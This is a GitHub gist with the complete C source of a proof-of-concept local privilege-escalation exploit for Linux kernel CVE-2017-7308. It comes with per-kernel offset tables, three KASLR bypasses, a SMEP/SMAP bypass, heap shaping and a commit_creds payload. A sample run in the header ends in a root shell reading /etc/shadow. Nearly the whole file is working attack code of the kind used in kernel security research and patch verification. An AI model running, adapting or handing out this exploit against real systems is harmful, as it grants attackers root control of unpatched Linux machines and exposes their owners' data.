Created
November 22, 2019 07:50
-
-
Save p-Korsholm/4506fda06770566b7f831f4720fb7a39 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// A proof-of-concept local root exploit for CVE-2017-7308. | |
// Includes a SMEP & SMAP bypass. | |
// Tested on Ubuntu / Linux Mint: | |
// - 4.8.0-34-generic | |
// - 4.8.0-36-generic | |
// - 4.8.0-39-generic | |
// - 4.8.0-41-generic | |
// - 4.8.0-42-generic | |
// - 4.8.0-44-generic | |
// - 4.8.0-45-generic | |
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308 | |
// | |
// Usage: | |
// user@ubuntu:~$ uname -a | |
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ... | |
// user@ubuntu:~$ gcc pwn.c -o pwn | |
// user@ubuntu:~$ ./pwn | |
// [.] starting | |
// [.] system has 2 processors | |
// [.] checking kernel version | |
// [.] kernel version '4.8.0-41-generic' detected | |
// [~] done, version looks good | |
// [.] checking SMEP and SMAP | |
// [~] done, looks good | |
// [.] setting up namespace sandbox | |
// [~] done, namespace sandbox set up | |
// [.] KASLR bypass enabled, getting kernel addr | |
// [.] done, kernel text: ffffffff87000000 | |
// [.] commit_creds: ffffffff870a5cf0 | |
// [.] prepare_kernel_cred: ffffffff870a60e0 | |
// [.] native_write_cr4: ffffffff87064210 | |
// [.] padding heap | |
// [.] done, heap is padded | |
// [.] SMEP & SMAP bypass enabled, turning them off | |
// [.] done, SMEP & SMAP should be off now | |
// [.] executing get root payload 0x401516 | |
// [.] done, should be root now | |
// [.] checking if we got root | |
// [+] got r00t ^_^ | |
// root@ubuntu:/home/user# cat /etc/shadow | |
// root:!:17246:0:99999:7::: | |
// daemon:*:17212:0:99999:7::: | |
// bin:*:17212:0:99999:7::: | |
// ... | |
// | |
// Andrey Konovalov <[email protected]> | |
// --- | |
// Updated by <[email protected]> | |
// - support for systems with SMEP but no SMAP | |
// - check number of CPU cores | |
// - additional kernel targets | |
// - additional KASLR bypasses | |
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308 | |
#define _GNU_SOURCE | |
#include <assert.h> | |
#include <fcntl.h> | |
#include <stdarg.h> | |
#include <stdbool.h> | |
#include <stddef.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <sched.h> | |
#include <sys/ioctl.h> | |
#include <sys/klog.h> | |
#include <sys/mman.h> | |
#include <sys/socket.h> | |
#include <sys/syscall.h> | |
#include <sys/sysinfo.h> | |
#include <sys/types.h> | |
#include <sys/utsname.h> | |
#include <sys/wait.h> | |
#include <arpa/inet.h> | |
#include <linux/if_packet.h> | |
#include <linux/ip.h> | |
#include <linux/udp.h> | |
#include <netinet/if_ether.h> | |
#include <net/if.h> | |
#define DEBUG | |
#ifdef DEBUG | |
# define dprintf printf | |
#else | |
# define dprintf | |
#endif | |
#define ENABLE_KASLR_BYPASS 1 | |
#define ENABLE_SMEP_SMAP_BYPASS 1 | |
char *SHELL = "/bin/bash"; | |
// Will be overwritten if ENABLE_KASLR_BYPASS | |
unsigned long KERNEL_BASE = 0xffffffff81000000ul; | |
// Will be overwritten by detect_versions(). | |
int kernel = -1; | |
struct kernel_info { | |
const char* version; | |
uint64_t commit_creds; | |
uint64_t prepare_kernel_cred; | |
uint64_t native_write_cr4; | |
}; | |
struct kernel_info kernels[] = { | |
{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 }, | |
{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 }, | |
{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 }, | |
{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 }, | |
{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 }, | |
{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 }, | |
{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 }, | |
}; | |
// Used to get root privileges. | |
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) | |
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) | |
#define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4) | |
// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS | |
unsigned long CR4_DESIRED_VALUE = 0x406e0ul; | |
#define KMALLOC_PAD 512 | |
#define PAGEALLOC_PAD 1024 | |
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * | |
typedef uint32_t u32; | |
// $ pahole -C hlist_node ./vmlinux | |
struct hlist_node { | |
struct hlist_node * next; /* 0 8 */ | |
struct hlist_node * * pprev; /* 8 8 */ | |
}; | |
// $ pahole -C timer_list ./vmlinux | |
struct timer_list { | |
struct hlist_node entry; /* 0 16 */ | |
long unsigned int expires; /* 16 8 */ | |
void (*function)(long unsigned int); /* 24 8 */ | |
long unsigned int data; /* 32 8 */ | |
u32 flags; /* 40 4 */ | |
int start_pid; /* 44 4 */ | |
void * start_site; /* 48 8 */ | |
char start_comm[16]; /* 56 16 */ | |
}; | |
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer | |
#define TIMER_OFFSET 896 | |
// pakcet_sock->xmit | |
#define XMIT_OFFSET 1304 | |
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * | |
void packet_socket_rx_ring_init(int s, unsigned int block_size, | |
unsigned int frame_size, unsigned int block_nr, | |
unsigned int sizeof_priv, unsigned int timeout) { | |
int v = TPACKET_V3; | |
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); | |
if (rv < 0) { | |
dprintf("[-] setsockopt(PACKET_VERSION)\n"); | |
exit(EXIT_FAILURE); | |
} | |
struct tpacket_req3 req; | |
memset(&req, 0, sizeof(req)); | |
req.tp_block_size = block_size; | |
req.tp_frame_size = frame_size; | |
req.tp_block_nr = block_nr; | |
req.tp_frame_nr = (block_size * block_nr) / frame_size; | |
req.tp_retire_blk_tov = timeout; | |
req.tp_sizeof_priv = sizeof_priv; | |
req.tp_feature_req_word = 0; | |
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); | |
if (rv < 0) { | |
dprintf("[-] setsockopt(PACKET_RX_RING)\n"); | |
exit(EXIT_FAILURE); | |
} | |
} | |
int packet_socket_setup(unsigned int block_size, unsigned int frame_size, | |
unsigned int block_nr, unsigned int sizeof_priv, int timeout) { | |
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); | |
if (s < 0) { | |
dprintf("[-] socket(AF_PACKET)\n"); | |
exit(EXIT_FAILURE); | |
} | |
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, | |
sizeof_priv, timeout); | |
struct sockaddr_ll sa; | |
memset(&sa, 0, sizeof(sa)); | |
sa.sll_family = PF_PACKET; | |
sa.sll_protocol = htons(ETH_P_ALL); | |
sa.sll_ifindex = if_nametoindex("lo"); | |
sa.sll_hatype = 0; | |
sa.sll_pkttype = 0; | |
sa.sll_halen = 0; | |
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); | |
if (rv < 0) { | |
dprintf("[-] bind(AF_PACKET)\n"); | |
exit(EXIT_FAILURE); | |
} | |
return s; | |
} | |
void packet_socket_send(int s, char *buffer, int size) { | |
struct sockaddr_ll sa; | |
memset(&sa, 0, sizeof(sa)); | |
sa.sll_ifindex = if_nametoindex("lo"); | |
sa.sll_halen = ETH_ALEN; | |
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, | |
sizeof(sa)) < 0) { | |
dprintf("[-] sendto(SOCK_RAW)\n"); | |
exit(EXIT_FAILURE); | |
} | |
} | |
void loopback_send(char *buffer, int size) { | |
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); | |
if (s == -1) { | |
dprintf("[-] socket(SOCK_RAW)\n"); | |
exit(EXIT_FAILURE); | |
} | |
packet_socket_send(s, buffer, size); | |
} | |
int packet_sock_kmalloc() { | |
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); | |
if (s == -1) { | |
dprintf("[-] socket(SOCK_DGRAM)\n"); | |
exit(EXIT_FAILURE); | |
} | |
return s; | |
} | |
void packet_sock_timer_schedule(int s, int timeout) { | |
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); | |
} | |
void packet_sock_id_match_trigger(int s) { | |
char buffer[16]; | |
packet_socket_send(s, &buffer[0], sizeof(buffer)); | |
} | |
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * | |
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) | |
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) | |
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) | |
#define V3_ALIGNMENT (8) | |
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) | |
#define ETH_HDR_LEN sizeof(struct ethhdr) | |
#define IP_HDR_LEN sizeof(struct iphdr) | |
#define UDP_HDR_LEN sizeof(struct udphdr) | |
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) | |
int oob_setup(int offset) { | |
unsigned int maclen = ETH_HDR_LEN; | |
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + | |
(maclen < 16 ? 16 : maclen)); | |
unsigned int macoff = netoff - maclen; | |
unsigned int sizeof_priv = (1u<<31) + (1u<<30) + | |
0x8000 - BLK_HDR_LEN - macoff + offset; | |
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); | |
} | |
void oob_write(char *buffer, int size) { | |
loopback_send(buffer, size); | |
} | |
void oob_timer_execute(void *func, unsigned long arg) { | |
oob_setup(2048 + TIMER_OFFSET - 8); | |
int i; | |
for (i = 0; i < 32; i++) { | |
int timer = packet_sock_kmalloc(); | |
packet_sock_timer_schedule(timer, 1000); | |
} | |
char buffer[2048]; | |
memset(&buffer[0], 0, sizeof(buffer)); | |
struct timer_list *timer = (struct timer_list *)&buffer[8]; | |
timer->function = func; | |
timer->data = arg; | |
timer->flags = 1; | |
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); | |
sleep(1); | |
} | |
void oob_id_match_execute(void *func) { | |
int s = oob_setup(2048 + XMIT_OFFSET - 64); | |
int ps[32]; | |
int i; | |
for (i = 0; i < 32; i++) | |
ps[i] = packet_sock_kmalloc(); | |
char buffer[2048]; | |
memset(&buffer[0], 0, 2048); | |
void **xmit = (void **)&buffer[64]; | |
*xmit = func; | |
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); | |
for (i = 0; i < 32; i++) | |
packet_sock_id_match_trigger(ps[i]); | |
} | |
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * | |
void kmalloc_pad(int count) { | |
int i; | |
for (i = 0; i < count; i++) | |
packet_sock_kmalloc(); | |
} | |
void pagealloc_pad(int count) { | |
packet_socket_setup(0x8000, 2048, count, 0, 100); | |
} | |
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * | |
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); | |
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); | |
void get_root_payload(void) { | |
((_commit_creds)(COMMIT_CREDS))( | |
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0) | |
); | |
} | |
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * | |
#define CHUNK_SIZE 1024 | |
int read_file(const char* file, char* buffer, int max_length) { | |
int f = open(file, O_RDONLY); | |
if (f == -1) | |
return -1; | |
int bytes_read = 0; | |
while (true) { | |
int bytes_to_read = CHUNK_SIZE; | |
if (bytes_to_read > max_length - bytes_read) | |
bytes_to_read = max_length - bytes_read; | |
int rv = read(f, &buffer[bytes_read], bytes_to_read); | |
if (rv == -1) | |
return -1; | |
bytes_read += rv; | |
if (rv == 0) | |
return bytes_read; | |
} | |
} | |
void get_kernel_version(char* output, int max_length) { | |
struct utsname u; | |
int rv = uname(&u); | |
if (rv != 0) { | |
dprintf("[-] uname())\n"); | |
exit(EXIT_FAILURE); | |
} | |
assert(strlen(u.release) <= max_length); | |
strcpy(&output[0], u.release); | |
} | |
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) | |
#define KERNEL_VERSION_LENGTH 32 | |
void detect_versions() { | |
char version[KERNEL_VERSION_LENGTH]; | |
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); | |
int i; | |
for (i = 0; i < ARRAY_SIZE(kernels); i++) { | |
if (strcmp(&version[0], kernels[i].version) == 0) { | |
dprintf("[.] kernel version '%s' detected\n", kernels[i].version); | |
kernel = i; | |
return; | |
} | |
} | |
dprintf("[-] kernel version not recognized\n"); | |
exit(EXIT_FAILURE); | |
} | |
#define PROC_CPUINFO_LENGTH 4096 | |
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP | |
int smap_smep_enabled() { | |
char buffer[PROC_CPUINFO_LENGTH]; | |
char* path = "/proc/cpuinfo"; | |
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); | |
if (length == -1) { | |
dprintf("[-] open/read(%s)\n", path); | |
exit(EXIT_FAILURE); | |
} | |
int rv = 0; | |
char* found = memmem(&buffer[0], length, "smep", 4); | |
if (found != NULL) | |
rv += 1; | |
found = memmem(&buffer[0], length, "smap", 4); | |
if (found != NULL) | |
rv += 2; | |
return rv; | |
} | |
void check_smep_smap() { | |
int rv = smap_smep_enabled(); | |
#if !ENABLE_SMEP_SMAP_BYPASS | |
if (rv >= 1) { | |
dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n"); | |
exit(EXIT_FAILURE); | |
} | |
#endif | |
switch(rv) { | |
case 1: // SMEP | |
CR4_DESIRED_VALUE = 0x406e0ul; | |
break; | |
case 2: // SMAP | |
CR4_DESIRED_VALUE = 0x407f0ul; | |
break; | |
case 3: // SMEP and SMAP | |
CR4_DESIRED_VALUE = 0x407f0ul; | |
break; | |
} | |
} | |
// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * * | |
#define SYSLOG_ACTION_READ_ALL 3 | |
#define SYSLOG_ACTION_SIZE_BUFFER 10 | |
unsigned long get_kernel_addr_syslog() { | |
dprintf("[.] trying syslog...\n"); | |
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); | |
if (size == -1) { | |
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); | |
exit(EXIT_FAILURE); | |
} | |
size = (size / getpagesize() + 1) * getpagesize(); | |
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, | |
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); | |
if (size == -1) { | |
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); | |
exit(EXIT_FAILURE); | |
} | |
const char *needle1 = "Freeing SMP"; | |
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); | |
if (substr == NULL) { | |
dprintf("[-] substring '%s' not found in dmesg\n", needle1); | |
exit(EXIT_FAILURE); | |
} | |
for (size = 0; substr[size] != '\n'; size++); | |
const char *needle2 = "ffff"; | |
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); | |
if (substr == NULL) { | |
dprintf("[-] substring '%s' not found in dmesg\n", needle2); | |
exit(EXIT_FAILURE); | |
} | |
char *endptr = &substr[16]; | |
unsigned long r = strtoul(&substr[0], &endptr, 16); | |
r &= 0xfffffffffff00000ul; | |
r -= 0x1000000ul; | |
return r; | |
} | |
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * | |
unsigned long get_kernel_addr_kallsyms() { | |
FILE *f; | |
unsigned long addr = 0; | |
char dummy; | |
char sname[256]; | |
char* name = "startup_64"; | |
char* path = "/proc/kallsyms"; | |
dprintf("[.] trying %s...\n", path); | |
f = fopen(path, "r"); | |
if (f == NULL) { | |
dprintf("[-] open/read(%s)\n", path); | |
return 0; | |
} | |
int ret = 0; | |
while (ret != EOF) { | |
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); | |
if (ret == 0) { | |
fscanf(f, "%s\n", sname); | |
continue; | |
} | |
if (!strcmp(name, sname)) { | |
fclose(f); | |
return addr; | |
} | |
} | |
fclose(f); | |
dprintf("[-] kernel base not found in %s\n", path); | |
return 0; | |
} | |
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * | |
unsigned long get_kernel_addr_sysmap() { | |
FILE *f; | |
unsigned long addr = 0; | |
char path[512] = "/boot/System.map-"; | |
char version[32]; | |
get_kernel_version(&version[0], 32); | |
strcat(path, &version[0]); | |
dprintf("[.] trying %s...\n", path); | |
f = fopen(path, "r"); | |
if (f == NULL) { | |
dprintf("[-] open/read(%s)\n", path); | |
return 0; | |
} | |
char dummy; | |
char sname[256]; | |
char* name = "startup_64"; | |
int ret = 0; | |
while (ret != EOF) { | |
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); | |
if (ret == 0) { | |
fscanf(f, "%s\n", sname); | |
continue; | |
} | |
if (!strcmp(name, sname)) { | |
fclose(f); | |
return addr; | |
} | |
} | |
fclose(f); | |
dprintf("[-] kernel base not found in %s\n", path); | |
return 0; | |
} | |
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * | |
unsigned long get_kernel_addr() { | |
unsigned long addr = 0; | |
addr = get_kernel_addr_kallsyms(); | |
if (addr) return addr; | |
addr = get_kernel_addr_sysmap(); | |
if (addr) return addr; | |
addr = get_kernel_addr_syslog(); | |
if (addr) return addr; | |
dprintf("[-] KASLR bypass failed\n"); | |
exit(EXIT_FAILURE); | |
return 0; | |
} | |
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * | |
void check_procs() { | |
int min_procs = 2; | |
int nprocs = 0; | |
nprocs = get_nprocs_conf(); | |
if (nprocs < min_procs) { | |
dprintf("[-] system has less than %d processor cores\n", min_procs); | |
exit(EXIT_FAILURE); | |
} | |
dprintf("[.] system has %d processors\n", nprocs); | |
} | |
void exec_shell() { | |
int fd; | |
fd = open("/proc/1/ns/net", O_RDONLY); | |
if (fd == -1) { | |
dprintf("error opening /proc/1/ns/net\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (setns(fd, CLONE_NEWNET) == -1) { | |
dprintf("error calling setns\n"); | |
exit(EXIT_FAILURE); | |
} | |
system(SHELL); | |
} | |
void fork_shell() { | |
pid_t rv; | |
rv = fork(); | |
if (rv == -1) { | |
dprintf("[-] fork()\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (rv == 0) { | |
exec_shell(); | |
} | |
} | |
bool is_root() { | |
// We can't simple check uid, since we're running inside a namespace | |
// with uid set to 0. Try opening /etc/shadow instead. | |
int fd = open("/etc/shadow", O_RDONLY); | |
if (fd == -1) | |
return false; | |
close(fd); | |
return true; | |
} | |
void check_root() { | |
dprintf("[.] checking if we got root\n"); | |
if (!is_root()) { | |
dprintf("[-] something went wrong =(\n"); | |
return; | |
} | |
dprintf("[+] got r00t ^_^\n"); | |
// Fork and exec instead of just doing the exec to avoid potential | |
// memory corruptions when closing packet sockets. | |
fork_shell(); | |
} | |
bool write_file(const char* file, const char* what, ...) { | |
char buf[1024]; | |
va_list args; | |
va_start(args, what); | |
vsnprintf(buf, sizeof(buf), what, args); | |
va_end(args); | |
buf[sizeof(buf) - 1] = 0; | |
int len = strlen(buf); | |
int fd = open(file, O_WRONLY | O_CLOEXEC); | |
if (fd == -1) | |
return false; | |
if (write(fd, buf, len) != len) { | |
close(fd); | |
return false; | |
} | |
close(fd); | |
return true; | |
} | |
void setup_sandbox() { | |
int real_uid = getuid(); | |
int real_gid = getgid(); | |
if (unshare(CLONE_NEWUSER) != 0) { | |
dprintf("[-] unshare(CLONE_NEWUSER)\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (unshare(CLONE_NEWNET) != 0) { | |
dprintf("[-] unshare(CLONE_NEWUSER)\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (!write_file("/proc/self/setgroups", "deny")) { | |
dprintf("[-] write_file(/proc/self/set_groups)\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ | |
dprintf("[-] write_file(/proc/self/uid_map)\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { | |
dprintf("[-] write_file(/proc/self/gid_map)\n"); | |
exit(EXIT_FAILURE); | |
} | |
cpu_set_t my_set; | |
CPU_ZERO(&my_set); | |
CPU_SET(0, &my_set); | |
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { | |
dprintf("[-] sched_setaffinity()\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (system("/sbin/ifconfig lo up") != 0) { | |
dprintf("[-] system(/sbin/ifconfig lo up)\n"); | |
exit(EXIT_FAILURE); | |
} | |
} | |
int main(int argc, char *argv[]) { | |
if (argc > 1) SHELL = argv[1]; | |
dprintf("[.] starting\n"); | |
check_procs(); | |
dprintf("[.] checking kernel version\n"); | |
detect_versions(); | |
dprintf("[~] done, version looks good\n"); | |
dprintf("[.] checking SMEP and SMAP\n"); | |
check_smep_smap(); | |
dprintf("[~] done, looks good\n"); | |
dprintf("[.] setting up namespace sandbox\n"); | |
setup_sandbox(); | |
dprintf("[~] done, namespace sandbox set up\n"); | |
#if ENABLE_KASLR_BYPASS | |
dprintf("[.] KASLR bypass enabled, getting kernel addr\n"); | |
KERNEL_BASE = get_kernel_addr(); | |
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE); | |
#endif | |
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS); | |
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); | |
#if ENABLE_SMEP_SMAP_BYPASS | |
dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4); | |
#endif | |
dprintf("[.] padding heap\n"); | |
kmalloc_pad(KMALLOC_PAD); | |
pagealloc_pad(PAGEALLOC_PAD); | |
dprintf("[.] done, heap is padded\n"); | |
#if ENABLE_SMEP_SMAP_BYPASS | |
dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n"); | |
oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); | |
dprintf("[.] done, SMEP & SMAP should be off now\n"); | |
#endif | |
dprintf("[.] executing get root payload %p\n", &get_root_payload); | |
oob_id_match_execute((void *)&get_root_payload); | |
dprintf("[.] done, should be root now\n"); | |
check_root(); | |
while (1) sleep(1000); | |
return 0; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment